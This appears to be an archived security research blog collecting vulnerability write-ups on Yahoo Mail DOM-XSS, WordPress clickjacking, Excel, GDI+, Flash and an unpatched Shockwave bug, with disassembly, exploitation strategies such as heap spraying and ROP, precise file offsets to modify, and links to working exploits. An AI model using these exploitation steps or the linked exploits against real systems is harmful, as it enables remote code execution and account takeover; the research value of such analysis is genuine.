DOMSDAY Analyzing a DOM-Based XSS in Yahoo!

DOMSDAY

Analyzing a DOM-Based XSS in Yahoo!

Yahoo-Exploit

Yahoo-Exploit

hello again to all great readers

before going future i want talk a bit about abysssec.  i want to talk about abysssec, in 5 years I worked as a CTO In abysssec and I had a very great the time in team. What I want to write now is actually my last post (as CTO) from abysssec team (maybe i write as guest in future). that’s it after ~5 year I finally want to leave home to new home with best wishes for abysssec new management team. so good or bad i hope you enjoyed my works i as did in abysssec. abysssec team will work as always and like before just with new management team as will share information just like before.

So finally you can follow me on twitter with @ShahinRamezany  (@abysssec account twitter will be managed by new management team) for my new company news and also our long waited training classes.

 

Yahoo! vulnerability :

as you may read in news Yahoo! recently fixed a DOM-based cross site scripting in one of  strongly used JS files. and as i promised i want share PoC and step by step article about finding and exploiting this vulnerability.

so here is paper abstract.

Abstract

As a security researcher in my free time I spend my time on both application and web application security. During one of my researches while I was focusing on auditing JavaScript codes I spent some time on Alexa top ranks and their JS libraries to see what I can find in theme. So I started working on apple, FaceBook, Yahoo! I just surprised I found few issues on all of them! And in this article I want to explain one of my cool findings on Yahoo! Mail which can be used to completely compromise an account.

According to Wikipedia[1], Yahoo mail has around 310 million users in October 2011 so any serious vulnerabilities puts millions of users in risk. Finding XSS in Yahoo! is not a new thing and is not that so hard. Reason of creating this article is not just proofing Yahoo! is vulnerable and it’s about how easy is to find and exploit vulnerabilities in well-known websites.

So in this short paper we will review on 5 steps.

  • Introduction
  • Step I   : Steps to finding vulnerability
  • Step II  : Triggering and analyzing the vulnerability
  • Step III : Exploiting the vulnerability
  • Step IV : Hijacking user accounts
  • Step V  :  Patching the vulnerability
  • Yahoo incomplete patch
  • Appendix : Demo
  • Appendix II  : Dominator to rescue
  • Credits / References

Paper Download link

http://abysssec.com/files/Yahoo!_DOMSDAY.pdf

http://www.exploit-db.com/wp-content/themes/exploit/docs/24109.pdf

 

PoC Demo

 

you can watch demo here :

also you can download it from here

update : youtube removed video after ~30K  viewers and i don’t know why …

press links :

http://thenextweb.com

http://threatpost.com/

http://news.softpedia.com/

http://www.computerworld.com/

http://news.hitb.org/

http://thenextweb.com/

http://www.offensive-security.com/

http://www.scmagazine.com/

http://www.ehackingnews.com/

http://allthingsd.com/

http://www.securityweek.com/

http://www.isssource.com/

 

i know it’s too late but happy new years !

be safe
Shahin Ramezany

[1]  http://en.wikipedia.org/wiki/Yahoo!_Mail

 

Exploiting Admin Functionality in WordPress Using ClickJacking

hello all

it’s been a while after writing a post and you may know Abysssec  mostly write about application security but we are working on web apps too . in this post we are gonna talk about funny case of wordpress exploitation using ClickJacking technology. as you may know Wordpress Admin panel has x-frame-option which prevent clickjacking but in main page of blog no x-frame-option has been set, so it possible to trick him and make him to post a comment, using Clickjacking. As you may know admin can post comment with html and it is obvious by default this isn’t dangerous, But as blog main page has no x-frame-option it is possible to make XSS of it and finally you can mix ClickJacking /XSS / HTTPOnly Disclosure to make a working exploit.

here is video of  PoC sorry for hosting we have some issue we will upload on abysssec soon  :

http://abysssec.com/files/WordPress_ClickJack.rar

WordPress is aware of unfiltered html with superadmin user but as you can see it’s still possible to exploit the issue .

we reported this so called issue to wordpress ~2 month ago

the answer we got is :

5/4/2012:
Thank you for the report. We're looking into this and will get back to you soon.
5/16/2012:
Sorry for the delayed reply. We've been discussing how best to do this without inconveniencing users.  At the moment we're considering adding the unfiltered_html nonce via JS when the page is not framed. I'll hopefully have a patch to share soon.

Thanks all

happy blogging !

Microsoft Excel 2007 SP2 Buffer Overwrite Vulnerability BA / Exploit (MS11-021)

hello all

as we didn’t publish any exploit for a bit we just going to release.

1) Advisory information

Title : Microsoft Excel 2007 SP2 Buffer Overwrite Vulnerability

Vendor : http://www.microsoft.com
Impact : Critical
Contact : info [at] abysssec.com
Twitter : @abysssec

Microsoft :
A remote code execution vulnerability exists in the way that Microsoft Excel handles specially crafted Excel files.An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs; view, change, or delete data; or create new accounts with full user rights.

2) Vulnerability detail

each excel file can contain multiple BOF (2057) records . This record specifies the first substream associated with workbook.One of the fields in these records, specify substream recordd to come with. This field can be extracted from sub_3018F0C2 function.

.text:301A0C87 push [ebp+arg_2C]
.text:301A0C8A mov ecx, [ebp+var_14]
.text:301A0C8D push 1
.text:301A0C8F call sub_3018F0C2
.text:301A0C94 mov ecx, eax
.text:301A0C96 mov eax, [ebp+arg_24]
.text:301A0C99 cmp eax, ebx
.text:301A0C9B mov [ebp+var_10], ecx
.text:301A0C9E jz short loc_301A0CA2
.text:301A0CA0 mov [eax], ecx

If the field value is equal with 400, sub_3019DFBA function is called to check file type. if file type is xls EXCEL.exe will display a message If approved it will continue to run the code.if you change file extension to xlb there will be any message. After this step sub_3053F626 function will be executed. This function will parse the next BOF records.


.text:304D4E9D cmp [ebp+arg_20], ebx
.text:304D4EA0 jnz short loc_304D4EC6
.text:304D4EA2 test dword ptr word_30EDCF9C, 2000000h
.text:304D4EAC jnz short loc_304D4EC6
.text:304D4EAE mov edx, [ebp+arg_C]
.text:304D4EB1 mov ecx, [ebp+arg_8]
.text:304D4EB4 push 3Fh
.text:304D4EB6 call sub_3019DFBA
.text:304D4EBB cmp eax, ebx
.text:304D4EBD mov [ebp+var_8], eax
.text:304D4EC0 jz loc_304D4FD3
.text:304D4EC6
.text:304D4EC6 loc_304D4EC6: ; CODE XREF: sub_301A0BC7+3342D9j
.text:304D4EC6 ; sub_301A0BC7+3342E5j
.text:304D4EC6 push ebx
.text:304D4EC7 push dword_30EB89A4
.text:304D4ECD push [ebp+var_C]
.text:304D4ED0 call sub_3053F626
.text:304D4ED5 cmp dword_30F5E64C, ebx
.text:304D4EDB mov [ebp+var_8], eax
.text:304D4EDE jz short loc_304D4EE7
.text:304D4EE0 cmp eax, ebx
.text:304D4EE2 jz short loc_304D4EE7

one of records may come after BOF,is undocumented record which have record type equal to 0xA7 (167). for truly parsing this record should come with another record with 0x3C (60) record type. if it meet this requirement the length of records will be read and copied to the stack the function which operation of copying data records in the stack is sub_30199E55. This function takes three arguments .The first argument specifies the number of bytes to copy, which will read from file. The second argument specifies the destination of the copy and the third argument specifies the maximum amount of data can be copied. values of the second and third arguments based on the amount of computing reading from file and into this cumpoting,computational error which may occur here …


.text:3053F830 call sub_301A0A01
.text:3053F835 cmp eax, 3Ch
.text:3053F838 mov [ebp+var_ED4], eax
.text:3053F83E jnz loc_30540488
.text:3053F844 call sub_301A0A01
.text:3053F849 mov ecx, [ebp+var_EDC]
.text:3053F84F imul ecx, [ebp+var_F00]
.text:3053F856 mov edi, eax
.text:3053F858 mov eax, [ebp+var_EE0]
.text:3053F85E lea ebx, [ecx+eax+3]
.text:3053F862 call sub_301A0ABE
.text:3053F867 push 0FFFFFFFDh
.text:3053F869 pop edx
.text:3053F86A sub edx, ecx
.text:3053F86C add eax, edx
.text:3053F86E push eax ; Dst
.text:3053F86F push ebx ; int
.text:3053F870 mov eax, edi
.text:3053F872 call sub_30199E55

the vulnerability that exists here is that we can change the value of parameter 3 whith our own values. program will not correcly controll third argument of sub_30199E55 this and can result in the desired amount and location of desired data can overwrite in the stack.


.text:30199E60 cmp edi, [esp+4+Dst]
.text:30199E64 ja loc_303EE1B7
.text:30199E6A mov ecx, [esp+4+arg_0]
.text:30199E6E push ebx
.text:30199E6F mov ebx, dword_30F726C0
.text:30199E75 push ebp
.text:30199E76 mov ebp, nNumberOfBytesToRead
.text:30199E7C push esi
.text:30199E7D mov [esp+10h+Dst], ecx
....
.text:30199E93 mov eax, [esp+10h+Dst]
.text:30199E97 push esi ; Size
.text:30199E98 lea edx, dword_30F6E6B8[ebx]
.text:30199E9E push edx ; Src
.text:30199E9F push eax ; Dst
.text:30199EA0 sub edi, esi
.text:30199EA2 call memcpy
.text:30199EA7 add [esp+1Ch+Dst], esi
.text:30199EAB add ebx, esi
.text:30199EAD add esp, 0Ch
.text:30199EB0 test edi, edi
.text:30199EB2 mov dword_30F726C0, ebx
.text:30199EB8 jnz loc_301E0DB3

3) Exploitation :

Stack overflows are not hard to exploit at all ! but as we have both /GS , SAFESEH here. because given that we are destined to memcpy we can change it so that it begins to overwrite the stack after GS. and from there when the return comes , our values contained in the ESP and we can call it with simple call esp and game is over !!!

 

download full exploit source  : MS11-021

Happy Hacking .

 

 

 

 

 

 

 

Analysis of CVE-2011-0041 vulnerability in GDI+

Abysssec Research

we tried for other case in exploit bounty this time for a 500$ one .

no luck for successful exploitation and to be honest we didn’t tried so hard . at least we got a PoC and here is our analysis for this cool bug.

1) Advisory information

 

  Title                   :  GDI+ CreateDashedPath Integer overflow in gdiplus.dll  

  Discovery         :  Nicolas july from vupen

  Analysis            :  Abysssec.com

  Vendor             :  http://www.microsoft.com

  Impact              :  High

  Contact            :  info  [at] abysssec.com

  Twitter             : @abysssec

  CVE                   : CVE-2011-0041

2) Vulnerable version

Gdiplus.dll 5.2.6001.22319

 

3) Vulnerability information

 

Class

        1-Integer overflow

Impact

Successfully exploiting this issue allows remote attackers to execute arbitrary code in the context of vulnerable application or cause denial-of-service conditions.

Remotely Exploitable

Yes

Locally Exploitable

Yes

4) Vulnerabilities detail

 

The vulnerability exists in gdiplus!GpPath::CreateDashedPath function of gdiplus.dll that is responsible for bitmap drawing and other 2d graphic rendering. EMF+ file is one of the image file format that is rendered by the library. And the vulnerability is based on some floating point calculation of an EMF+ path object.

We made the following proof of concept to trigger the issues and it will be explained more:

 

A little taste of file format we simply put a EMF_COMMENT record (id = 0×00000046) and embed and emf+ geraphic object ( id = 0×00004008 ) . For simplicity we ripped out a valid graphic object from another file and started to play with it. The record have two important area that we highlighted them in the above picture.

 

Here is the faulty code:

.text:4ECFCBAD loc_4ECFCBAD:                     

.text:4ECFCBAD                 mov     eax, esi

.text:4ECFCBAF                 shl     eax, 3

.text:4ECFCBB2                 cmp     [ebp+lpMem], 0

.text:4ECFCBB6                 push    eax             ; dwBytes

.text:4ECFCBB7                 jz      short loc_4ECFCBCE

.text:4ECFCBB9                 push    [ebp+lpMem]     ; lpMem

.text:4ECFCBBC                 call    GpRealloc(x,x)

.text:4ECFCBC1                 test    eax, eax

.text:4ECFCBC3                 jz      loc_4ECFCCDB

.text:4ECFCBC9                 mov     [ebp+lpMem], eax

.text:4ECFCBCC                 jmp     short loc_4ECFCBDE

.text:4ECFCBCE ; —————————————————————————

.text:4ECFCBCE

.text:4ECFCBCE loc_4ECFCBCE:                      

.text:4ECFCBCE                 call    GpMalloc(x)

.text:4ECFCBD3                 test    eax, eax

.text:4ECFCBD5                 mov     [ebp+lpMem], eax

.text:4ECFCBD8                 jz      loc_4ECFCCDB

 

The above code uses the eax register as arguments to the GpMalloc function. GpMalloc is simply a gdi version of heapAlloc function. The value of eax register is based on various floating point calculation that is not simple to examine at first look.

But I traced the value of eax register and it seems the calculations are based on our values mentioned earlear in the file.  And it doesn’t bound checked well, by changing the path value tricky it is possible when the “shl    eax, 3” instruction multiply the value by 8 we get an integer overflow and in turn a faulty heap allocation.

 

I dynamically traced the values with my proof of concept file. Eax register is equall to eax + [ebp-38] * 10 and as there are a lot of values and calculations before that, for better consideration I made the following diagram:

 

 

 

 

It took a lot of time explanation of all of the variables above but, the important one is the GpPath object that is in the code a clone of the object is made to later be manipulated for drawings.

.text:4ECFC9D9 loc_4ECFC9D9:                           ; CODE XREF: GpPath::CreateDashedPath(DpPen const *,GpMatrix const *,float,float,float,int)+1AAj

.text:4ECFC9D9                 fld     dword ptr [esi+eax*4]

.text:4ECFC9DC                 fmul    [ebp+arg_0]

.text:4ECFC9DF                 fstp    dword ptr [esi+eax*4]

.text:4ECFC9E2                 inc     eax

.text:4ECFC9E3                 cmp     eax, [ebp+arg_4]

.text:4ECFC9E6                 jl      short loc_4ECFC9D9

.text:4ECFC9E8

.text:4ECFC9E8 loc_4ECFC9E8:                      

.text:4ECFC9E8                 mov     ecx, [ebp+var_18] ; Src

.text:4ECFC9EB                 call    GpPath::Clone(void)

.text:4ECFC9F0                 mov     edi, eax

.text:4ECFC9F2                 test    edi, edi

.text:4ECFC9F4                 jz      loc_4ECFCDBA

.text:4ECFC9FA                 mov     eax, [edi]

.text:4ECFC9FC                 mov     ecx, edi

.text:4ECFC9FE                 call    dword ptr [eax+4]

 

After calling the clone, it checks whether it is a valid clone or not at address 4ECFC9FE.

The offset +34h of the object contains a pointer to our 4byte path object values.

0:000> dd ecx

0e03ca50  4ec67e58 68745031 00000000 00000000

0e03ca60  0e03ca74 0e03ca74 00000010 00000010

0e03ca70  00000002 00000100 00000000 00000000

0e03ca80  00000000 0e03ca98 0e03ca98 00000010

0e03ca90  00000010 00000002 449a8eab 458ac500

0e03caa0  449a8eab 4e0000fe 00000000 00000000

0e03cab0  00000000 00000000 00000000 00000000

0e03cac0  00000000 00000000 00000000 00000000

 

Our floating point values in the file format:

0e03ca98  449a8eab 458ac500 449a8eab 4e0000fe

0e03caa8  00000000 00000000 00000000 00000000

 

But there are some modifications on our values before we get the faulty code. First after the clone is performed GpPath::Flatten function made some changes to our values based on a transform matrix in the file. So this is cause of the highlighted 6 DWORDs in the file.­­­

.text:4ECFC9FE                 call    dword ptr [eax+4]

.text:4ECFCA01                 test    eax, eax

.text:4ECFCA03                 jz      loc_4ECFCDBA

.text:4ECFCA09                 fld     ds:flt_4ECB80FC

.text:4ECFCA0F                 push    ecx             ; float

.text:4ECFCA10                 lea     eax, [ebp+var_F8]

.text:4ECFCA16                 fstp    [esp+108h+var_108]

.text:4ECFCA19                 push    eax             ; int

.text:4ECFCA1A                 mov     ecx, edi

.text:4ECFCA1C                 call    GpPath::Flatten(GpMatrix const *,float)

.text:4ECFCA21                 cmp     [ebp+var_2C], 0

 

Flattened GpPath object values:

0:000> dd poi(edi+34)

0e03cd18  449a7eab 458ac100 449a7eab 4e0000fd

0e03cd28  00000000 00000000 00000000 00000000

 

And after that our changed GpPath object is sent to calculateGradiantArray and some array of floating point values are made based on its calculation.

There are many other default floating point values has effects on the value of the overflowing size for GpMalloc that are not so interesting and I’ve just shown them on the diagram.

After the calculation integer wrapped, the heap allocated by the gpMalloc function is not big enough to hold our data. So in next uses of the wrapped allocated heap the corruption occurs. But it seems there is not a straight way of exploiting such heap corruptions using a standalone file. .

PoC link   : http://abysssec.com/files/GDI_PoC.zip

			

DEP/ASLR bypass using 3rd party + Clarification

hello again to all of our great readers .

is this post we are going to do some clarification also share and drop some random 0day DEP/ASLR bypass using 3rd parties .

due to there is lots of things to say we wrote all the notes as an article called “The Arashi”.

 

Table of content :

===============================================================

Introduction and warning

The Story of Sayonara

First Method: ASLR Bitter

Second Method: Process Explorer

Narly Windbg Extension

Mona / PVEFindAddr

Ropping this fun DLL

First 0day tatsumaki

Second (half) 0day Ikazuchi

Third 0day Sugokunai

Final Note

===============================================================

and finally  here you can download it from  : here

note that the offer in paper will be expire in 10 day so if you are verified and need one of modules let us know .

as always feel free to contact us : info [at] abysssec.com

and also follow @abysssec in twitter

 

Exploiting Adobe Flash Player on Windows 7

Hello again . as a lot of readers like windows 7 exploits here is other one .

1) Advisory information

Title                   : Adobe Flash player Action script type confusion  

Version             :  flash10h.dll

Discovery         :  Malware writers

Exploit              :  abysssec.com

Vendor             :  http://www.adobe.com

Impact              :  Critical

Contact            :   info  [at] abysssec.com

Twitter            : @abysssec

CVE                    : CVE-2010-3654

2) Vulnerable version

Adobe Flash Player 10.1.53 .64 prior versions

3) Vulnerability information

 

Class 

1- Type Confusion

Impact

Successfully exploiting this issue allows remote attackers to execute code under the context of targeted browser.

Remotely Exploitable

Yes

Locally Exploitable

Yes

4) Vulnerability detail

Here we have type confusion vulnerability in ActionScript bytecode language. The cause of these vulnerabilities is because of implementation of verification process in AS3 jit engine that because of some miscalculation in verifying datatype atoms, some data replaces another type of data and the confusion results in faulty machine code.

Action script has the following structure. First our scripts are compiled using an action script compiler like flex to AS3 ByteCodes and embed it to DoABC, DoAction or DoInitAction tags in swf file format. When flash player opens the swf file, bytecodes are compiled to a jitted machine code through verification and generation process. Verification process is responsible for checking bytecodes to be valid instructions and it pass the valid bytecodes to generation process, thus generation process produces the machine code in memory.

According to Dion Blazakis’s JIT Spray paper:

 

To handle this runtime typing requirement, the ActionScript interpreter represents internal objects using tagged pointers – internal, this object is called an “atom”. Tagged pointers are a common implementation technique to differentiate between those objects stored by value and those stored by reference using the same word sized memory cell. A tagged pointer stores type information in the least significant bits and stores a type specific values in the most significant bits. As shown in Illustration 1, the ActionScript atom is 32 bits wide; it allocates 3 bits to store the type information and uses 29 bits for the value.

So if it would be possible to confuse verifier too act an atom as another atom by some bytecode changes it would be possible to generate faulty code that most of the times lead to disclosing a vtable pointer call to the attacker.

The bug is perfectly presented in Haifei li recent slides. We have OriginalClass and RefClass with the same functions. Func1 – OriginalClass return a class objects, but Func1 – RefClass returns another type. By changing a byte in the bytecode we have confused AS3 to execute RefClass functions in the main class. After that verifier confuses the return type of the function with an OriginalClass object and generate faulty code with the vtable under the control of the return value.

 

Exploitation:

For exploitation purpose on recent protections on windows 7 without any 3rd party, it is possible to use the same bug many times to leak the imageBase address and payload address. In our exploit we used three confusion to read String Objects address and accordingly imagebase address.

Step1: read shellcode string object pointer by confusing it with uint and use it to leak ImageBase.

Step2: leak address of the shellcode with the same pointer and NewNumber trick.

Step3: send imageBase & shellcode address as parameters to the RopPayload function, develop Rop payload string and again confuse the return value with uint to read address of RopPayload string.

Step4: send address of the rop payload as parameters to the last confused function that confuses string type with class object. And thus address of our rop payload will be used as vtable in the fake class object.

Note: In using strings as a buffer for shellcode in action script, it is important to use alphanumeric characters because the toString method converts our ascii character set to uincode thus make our shellcode unusable.

5) Conclusion

Finally we got the point that memory leakages are extremely useful in modern exploitation to bypass DEP, ASLR protections. It would be possible to find same atom confusion situation and other object leakage in adobe flash player. Kudos to haifei li for his great research, although it was not that simple to implement a reliable exploit with just slides without attending in talk.

6) Refrences

http://www.cansecwest.com/csw11/Flash_ActionScript.ppt

http://www.semantiscope.com/research/BHDC2010/BHDC-2010-Paper.pdf

7) Exploit-Code

Here you can get our reliable exploit against windows 7 :

calc.exe payload

Download : CVE-2010-3654_Win7

if you need other payloads for sure you know how to change it ;)

as always feedbacks are welcomed and you can follow @abysssec in twitter to getting updates .

Happy Hunting !

Adobe Shockwave player rcsL chunk memory corruption 0day

1) Advisory information

Title                   :  Adobe Shockwave player rcsL chunk memory corruption

Version             : Shockwave player 11.5.8.612

Discovery         :  http://abysssec.com

Vendor             :  http://www.adobe.com

Impact              :  Critical

Contact            :  shahin [at] abysssec.com , info  [at] abysssec.com

Twitter             : @abysssec

CVE                   :  ZeroDay Not Patched

2) Vulnerable version

Shockwave Player 11.5.8.612 last version

3) Vulnerability information

Class

1- Memory corruption allow command execute

Impact

Successfully exploiting this issue allows remote attackers to execute arbitrary code or cause denial-of-service conditions.

Remotely Exploitable

Yes

Locally Exploitable

Yes

4) Vulnerabilities detail

Introduction

Shockwave player is a plug in for loading Adobe Director video files in to the browser. Director movies have DIR or compressed format of DCR.  DIR file format is based on RIFF based formats. RIFF formats start with a 4byte RIFX identifier and length of the file. And subsequently chunks come together with format of 4byte chunk identifier + size of chunk + data. Some of the chunk identifiers are tSAC, pami, rcsL.

By help of our simple fuzzer we have manipulated a director movie file and found a vulnerability in part of an existing rcsL chunk.

Vulnerability explanation

There is a 4bytes value in the undocumented rcsL chunk in our sample director movie and it may be possible to find similar rcsL chunks in other director samples. The 4bytes so called value can be manipulated to reach the vulnerable part of function 68122990. Here is the function:

.text:68122990 sub_68122990    proc near               ; CODE XREF: sub_68112120+1A57p

.text:68122990                                         ; DATA XREF: sub_68122F30+4AAo

.text:68122990

.text:68122990 var_8           = dword ptr -8

.text:68122990 var_4           = dword ptr -4

.text:68122990 arg_0           = dword ptr  4

.text:68122990 arg_4           = dword ptr  8

.text:68122990

.text:68122990                 sub     esp, 8

.text:68122993                 mov     eax, [esp+8+arg_4]

.text:68122997                 push    ebx

.text:68122998                 push    ebp

.text:68122999                 push    esi

.text:6812299A                 mov     esi, [esp+14h+arg_0]

.text:6812299E                 push    edi

.text:6812299F                 push    eax

.text:681229A0                 push    esi

.text:681229A1                 call    sub_680FC6D0

.text:681229A6                 mov     ecx, [esi+18h]

.text:681229A9                 mov     edx, [esi+10h]

.text:681229AC                 mov     ebp, [esi+1Ch]

.text:681229AF                 mov     ebx, [esi+20h]

.text:681229B2                 add     ecx, 0FFFFFFF8h

.text:681229B5                 cmp     ebp, 3

.text:681229B8                 mov     [esp+18h+arg_0], eax

.text:681229BC                 mov     [esi+18h], ecx

.text:681229BF                 mov     eax, [edx]

.text:681229C1                 mov     edx, [eax+ecx]

.text:681229C4                 lea     edi, [esi+1Ch]

.text:681229C7                 mov     [edi], edx

.text:681229C9                 mov     eax, [eax+ecx+4]

.text:681229CD                 mov     [edi+4], eax

.text:681229D0                 mov     [esp+18h+var_8], 4

.text:681229D8                 mov     [esp+18h+var_4], 0

.text:681229E0                 jz      short loc_681229F6

.text:681229E2                 push    ebx

.text:681229E3                 push    ebp

.text:681229E4                 push    0Ch

.text:681229E6                 push    esi

.text:681229E7                 call    sub_680FCFB0

.text:681229EC                 pop     edi

.text:681229ED                 pop     esi

.text:681229EE                 pop     ebp

.text:681229EF                 pop     ebx

.text:681229F0                 add     esp, 8

.text:681229F3                 retn    8

.text:681229F6 ; —————————————————————————

.text:681229F6

.text:681229F6 loc_681229F6:                           ; CODE XREF: sub_68122990+50j

.text:681229F6                 mov     ecx, [ebx]

.text:681229F8                 mov     edx, [ecx]

.text:681229FA                 mov     ecx, [esp+18h+arg_0]

.text:681229FE                 lea     eax, [esp+18h+var_8]

.text:68122A02                 push    eax

.text:68122A03                 push    ecx

.text:68122A04                 push    ebx

.text:68122A05                 push    esi

.text:68122A06                 call    dword ptr [edx+2Ch]

.text:68122A09                 mov     ecx, [esi+7Ch]

.text:68122A0C                 test    ecx, ecx

.text:68122A0E                 jz      short loc_68122A22

.text:68122A10                 push    ebx

.text:68122A11                 push    ebp

.text:68122A12                 push    esi

.text:68122A13                 call    sub_680FC730

.text:68122A18                 pop     edi

.text:68122A19                 pop     esi

.text:68122A1A                 pop     ebp

.text:68122A1B                 pop     ebx

.text:68122A1C                 add     esp, 8

.text:68122A1F                 retn    8

.text:68122A22 ; —————————————————————————

.text:68122A22

.text:68122A22 loc_68122A22:                           ; CODE XREF: sub_68122990+7Ej

.text:68122A22                 test    eax, eax

.text:68122A24                 jnz     loc_68122AAC

.text:68122A2A                 push    esi

.text:68122A2B                 call    sub_680FD9D0

.text:68122A30                 push    edi

.text:68122A31                 push    esi

.text:68122A32                 mov     [edi], ebp

.text:68122A34                 mov     [edi+4], ebx

.text:68122A37                 call    sub_680FC7C0

.text:68122A3C                 push    esi

.text:68122A3D                 call    sub_680FD9D0

.text:68122A42                 mov     eax, [esp+18h+arg_4]

.text:68122A46                 mov     edx, [esi+28h]

.text:68122A49                 mov     [esi+0A4h], eax

.text:68122A4F                 mov     dword ptr [esi+20h], 80000001h

.text:68122A56                 mov     ecx, [edx]

.text:68122A58                 lea     eax, [eax+eax*2]

.text:68122A5B                 push    esi

.text:68122A5C                 call    dword ptr [ecx+eax*8+20h]

.text:68122A60                 mov     eax, [esi+7Ch]

.text:68122A63                 test    eax, eax

.text:68122A65                 jz      short loc_68122A85

.text:68122A67                 cmp     eax, 4

.text:68122A6A                 jnz     short loc_68122ACE

.text:68122A6C                 mov     edx, [esp+18h+arg_0]

.text:68122A70                 push    edx

.text:68122A71                 push    8

.text:68122A73                 push    37h

.text:68122A75                 push    esi

.text:68122A76                 call    sub_680FD040

.text:68122A7B                 pop     edi

.text:68122A7C                 pop     esi

.text:68122A7D                 pop     ebp

.text:68122A7E                 pop     ebx

.text:68122A7F                 add     esp, 8

.text:68122A82                 retn    8

.text:68122A85 ; —————————————————————————

.text:68122A85

.text:68122A85 loc_68122A85:                           ; CODE XREF: sub_68122990+D5j

.text:68122A85                 mov     eax, [edi]

.text:68122A87                 mov     ecx, [edi+4]

.text:68122A8A                 mov     edx, [esi+10h]

.text:68122A8D                 mov     [esp+18h+var_8], eax

.text:68122A91                 mov     eax, [esi+18h]

.text:68122A94                 add     eax, 0FFFFFFF8h

.text:68122A97                 mov     [esp+18h+var_4], ecx

.text:68122A9B                 mov     [esi+18h], eax

.text:68122A9E                 mov     ecx, [edx]

.text:68122AA0                 mov     edx, [ecx+eax]

.text:68122AA3                 mov     [edi], edx

.text:68122AA5                 mov     eax, [ecx+eax+4]

.text:68122AA9                 mov     [edi+4], eax

.text:68122AAC

.text:68122AAC loc_68122AAC:                           ; CODE XREF: sub_68122990+94j

.text:68122AAC                 push    ebx

.text:68122AAD                 push    ebp

.text:68122AAE                 push    esi

.text:68122AAF                 call    sub_680FC730

.text:68122AB4                 mov     eax, [esi+7Ch]

.text:68122AB7                 test    eax, eax

.text:68122AB9                 jnz     short loc_68122ACE

.text:68122ABB                 push    esi

.text:68122ABC                 call    sub_680FD9D0

.text:68122AC1                 mov     ecx, [esp+18h+var_8]

.text:68122AC5                 mov     edx, [esp+18h+var_4]

.text:68122AC9                 mov     [edi], ecx

.text:68122ACB                 mov     [edi+4], edx

.text:68122ACE

.text:68122ACE loc_68122ACE:                           ; CODE XREF: sub_68122990+DAj

.text:68122ACE                                         ; sub_68122990+129j

.text:68122ACE                 pop     edi

.text:68122ACF                 pop     esi

.text:68122AD0                 pop     ebp

.text:68122AD1                 pop     ebx

.text:68122AD2                 add     esp, 8

.text:68122AD5                 retn    8

.text:68122AD5 sub_68122990    endp

In the above function we have direct control on the second argument of the function. By manipulating the argument in rcsL chunk we reach to an indirect call that is based on our arguments:

.text:68122A42                 mov     eax, [esp+18h+arg_4]

.text:68122A46                 mov     edx, [esi+28h]

.text:68122A49                 mov     [esi+0A4h], eax

.text:68122A4F                 mov     dword ptr [esi+20h], 80000001h

.text:68122A56                 mov     ecx, [edx]

.text:68122A58                 lea     eax, [eax+eax*2]

.text:68122A5B                 push    esi

.text:68122A5C                 call    dword ptr [ecx+eax*8+20h]

The above code is our vulnerable part. EAX register is set with second argument that we have control on it and ESI is first argument of the function and is a pointer to a dynamic allocated structure in heap. Value of offset 28h of the structure that is unknown is set in ECX register and finally an indirect call to the ‘ECX+EAX*24+20h’ is done. Because result of EAX*24 is a large value and we have complete control on EAX register we can almost control first byte of our indirect call pointer without the need of ECX register.

Exploitation :

For exploitation purpose because we don’t have a fixed address in our call we cannot control the execution flow to an exact value but we can jump to a specific range because we have control on first bytes of the pointer of indirect call. So here by abusing javascript we can use old-school heap spray technic to fill memory with nops+shellcode and call to this range.

To control the 4 bytes EAX register in our exploit we manipulated 4bytes at offset 4C4B of the file to value FFF00267.

An important hint here is that because we call the indirect pointer the EIP is set to nops itself. As you know an EIP of 90909090 is invalid. But we can use other opcodes as nopslides that doesn’t have any effect. In our test sample we used 0a0a0a0a as both base range of heap spray and nopslides because 0a0a opcode is an OR instruction on some unimportant registers.

The sample + exploit are tested on patched windows XP service pack 3.

here is exploit + binary analysis link:

http://abysssec.com/files/Adobe_Shockwave_Director_rcsL_Chunk_Memory_Corruption.zip

Proof Video : Here

PS 1 : this vulnerability is not patched bug released by ZDI http://www.zerodayinitiative.com/advisories/ZDI-10-162/

PS 2 : it’s possible to exploit this vulnerability on modern windows like Vista/7 too and it’s up to readers …

related links:

http://www.vupen.com/english/advisories/2010/2752

http://secunia.com/advisories/41932

CVE-2010-3653

http://www.adobe.com/products/player_census/shockwaveplayer/

http://www.adobe.com/support/security/advisories/apsa10-04.html

Happy Hacking !

MOAUB – Day by Day

Yes ! finally MOAUB (Month of Abysssec Undisclosed Bugs) started and finished as well.

Month of all User Bugs

Good Or Bad we released lots of 0days and binary analyses during a month (September) and you can use these info for owning websites UN-patched clients  or writing more secure applications .

here is summary:

Day1:

Binary Analysis:

MOAUB #1 – Adobe Acrobat Reader and Flash Player “newclass” invalid pointer

MOAUB #1 – Adobe Acrobat Reader and Flash Player “newclass” invalid pointer – Binary Analysis

0day:

MOAUB #1 – Cpanel PHP Restriction Bypass Vulnerability 0day

MOAUB #1 – Cpanel PHP Restriction Bypass Vulnerability 0day

———————————————————————————–

Day2:

Binary Analysis:

MOAUB #2 – Apple QuickTime FlashPix NumberOfTiles Remote Code Execution Vulnerability

MOAUB #2 – Apple QuickTime FlashPix NumberOfTiles Vulnerability – Binary Analysis

0day:

MOAUB #2 – Rainbowportal Multiple Remote Vulnerabilities

MOAUB #2 – Rainbowportal Multiple Remote Vulnerabilities – 0day

———————————————————————————–

Day3:

Binary Analysis:

MOAUB #3 – Trend Micro Internet Security Pro 2010 ActiveX extSetOwner Remote Code Execution

MOAUB #3 – Trend Micro Internet Security Pro 2010 ActiveX extSetOwner – Binary Analysis

0day:

MOAUB #3 – Visinia 1.3 Multiple Vulnerabilities

MOAUB #3 – Visinia CMS Multiple Vulnerabilities – 0day

———————————————————————————–

Day4:

Binary Analysis:

MOAUB #4 – Movie Maker Remote Code Execution (MS10-016)

MOAUB #4 – Movie Maker Remote Code Execution (MS10-016) – Binary Analysis

0day:

MOAUB #4 – syndeocms 2.8.02 Multiple Vulnerabilities

MOAUB #4 – Syndeocms 2.8.02 Multiple Vulnerabilities – 0day

———————————————————————————–

Day5:

Binary Analysis:

MOAUB #5 – Microsoft MPEG Layer-3 Remote Command Execution Exploit

MOAUB #5 – Microsoft MPEG Layer-3 Remote Command Execution – Binary Analysis

0day:

MOAUB #5 – IfNuke Multiple Remote Vulnerabilities 0day

MOAUB #5 – IfNuke Multiple Remote Vulnerabilities 0day

———————————————————————————–

Day6:

Binary Analysis:

MOAUB #6 – HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution

